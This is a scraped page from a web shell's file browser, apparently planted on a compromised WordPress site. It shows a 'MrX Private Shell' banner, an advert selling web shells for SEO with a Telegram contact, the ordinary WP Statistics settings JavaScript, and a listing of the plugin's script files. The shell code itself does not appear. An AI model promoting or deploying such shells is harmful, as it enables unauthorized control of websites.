__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* Get Parameter value
*
* @param name
* @returns {*}
*/
function wp_statistics_getParameterValue(name) {
var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href);
if (results) {
return results[1];
}
}
/**
* Enable Tab
*
* @param tab_id
*/
function wp_statistics_enableTab(tab_id) {
jQuery('.wp-statistics-settings .wps-optionsMenu .wps-optionsMenuItem').removeClass('current');
jQuery('.wp-statistics-settings .tab-content').removeClass('current');
jQuery("[data-tab=" + tab_id + "]").addClass('current');
jQuery("#" + tab_id).addClass('current');
if (jQuery('#wp-statistics-settings-form').length) {
var click_url = jQuery(location).attr('href') + '&tab=' + tab_id;
jQuery('#wp-statistics-settings-form').attr('action', click_url).submit();
}
}
/**
* Check has setting page
*/
if (jQuery('.wp-statistics-settings').length) {
// Burger menu functionality
jQuery('.wps-adminHeader__burgerIcon').click(function () {
jQuery('.wps-optionsMenu').slideToggle();
});
var current_tab = wp_statistics_getParameterValue('tab');
if (current_tab) {
wp_statistics_enableTab(current_tab);
}
jQuery('.wp-statistics-settings .wps-optionsMenu .wps-optionsMenuItem').click(function () {
var tab_id = jQuery(this).attr('data-tab');
wp_statistics_enableTab(tab_id);
if (jQuery(window).width() <= 600) {
jQuery('.wps-optionsMenu').slideToggle();
}
});
}
// Check the Condition Require Setting Api
function wp_statistics_check_condition_view_option(selector, field) {
jQuery(document).on("change", selector, function (e) {
e.preventDefault();
let option_field = jQuery(field);
if (this.checked) {
option_field.show("slow");
} else {
option_field.hide("slow");
option_field.find("input[type=checkbox]").prop('checked', false);
}
});
}
// Check the visitor log is checked
wp_statistics_check_condition_view_option("input[name=wps_visitors]", "tr[data-view=visitors_log_tr]");
// Check the Spam List
wp_statistics_check_condition_view_option("input[name=wps_referrerspam]", "tr.referrerspam_field");
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| author.js | File | 646 B | 0644 |
|
| browser.js | File | 832 B | 0644 |
|
| category.js | File | 651 B | 0644 |
|
| countries.js | File | 489 B | 0644 |
|
| exclusions.js | File | 673 B | 0644 |
|
| hits.js | File | 666 B | 0644 |
|
| overview.js | File | 2.25 KB | 0644 |
|
| pages.js | File | 8.08 KB | 0644 |
|
| platform.js | File | 833 B | 0644 |
|
| search.js | File | 526 B | 0644 |
|
| setting.js | File | 2.21 KB | 0644 |
|
| settings.js | File | 865 B | 0644 |
|
| tags.js | File | 645 B | 0644 |
|
| taxonomies.js | File | 706 B | 0644 |
|
| visitors.js | File | 7.71 KB | 0644 |
|
| welcome.js | File | 22 B | 0644 |
|